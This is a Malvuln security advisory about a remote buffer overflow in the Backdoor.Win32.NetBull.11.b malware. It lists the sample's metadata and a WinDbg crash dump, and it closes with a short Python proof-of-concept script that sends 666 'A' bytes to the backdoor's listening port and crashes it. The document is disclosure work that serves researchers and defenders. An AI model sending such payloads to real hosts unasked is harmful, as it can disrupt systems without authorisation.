Wednesday, February 3, 2021

Backdoor.Win32.NetBull.11.b Remote Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0e0fc966862971c29edd4dcaa0ba8e86.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetBull.11.b
Vulnerability: Remote Buffer Overflow
Description: NetBull.11.b listens on both TCP ports 23456 and 23457, sending a large junk packet results in buffer overflow overwriting stack registers.
Type: PE32
MD5: 0e0fc966862971c29edd4dcaa0ba8e86
Vuln ID: MVID-2021-0066
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/02/2021

Memory Dump:
The stored exception information can be accessed via .ecxr.
(60.13dc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=2e7a4010 edx=41414140 esi=00000003 edi=00000003
eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h


0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
mfc42!CString::CString+5
6fb385d5 8901 mov dword ptr [ecx],eax

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6fb385d5 (mfc42!CString::CString+0x00000005)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 2e7a4010
Attempt to write to address 2e7a4010

PROCESS_NAME: Backdoor.Win32.NetBull.11.b.0e0fc966862971c29edd4dcaa0ba8e86.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 2e7a4010

WRITE_ADDRESS: 2e7a4010

FOLLOWUP_IP:
mfc42!CString::CString+5
6fb385d5 8901 mov dword ptr [ecx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 000013dc

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER: from 00405095 to 6fb385d5

STACK_TEXT:
0019f8c0 00405095 2e7a4000 2e7a4000 0019f8ec mfc42!CString::CString+0x5
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f8d8 0040503b 041e50ec 41414141 0019f9bc Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x5095
0019f8f4 00404548 2e7a4000 2e7a4000 00000001 Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x503b
00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x4548


STACK_COMMAND: ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: mfc42!CString::CString+5

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: mfc42

IMAGE_NAME: mfc42.dll

DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78

FAILURE_BUCKET_ID: INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mfc42.dll!CString::CString

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mfc42!CString::CString+5


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23456

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PACKOLA = "A"*666
s.send(PACKOLA)
s.close()

print("Backdoor.Win32.NetBull.11.b / Remote Buffer Overflow");
print("MD5: 0e0fc966862971c29edd4dcaa0ba8e86");
print("By Malvuln");

if __name__=="__main__":
doit()


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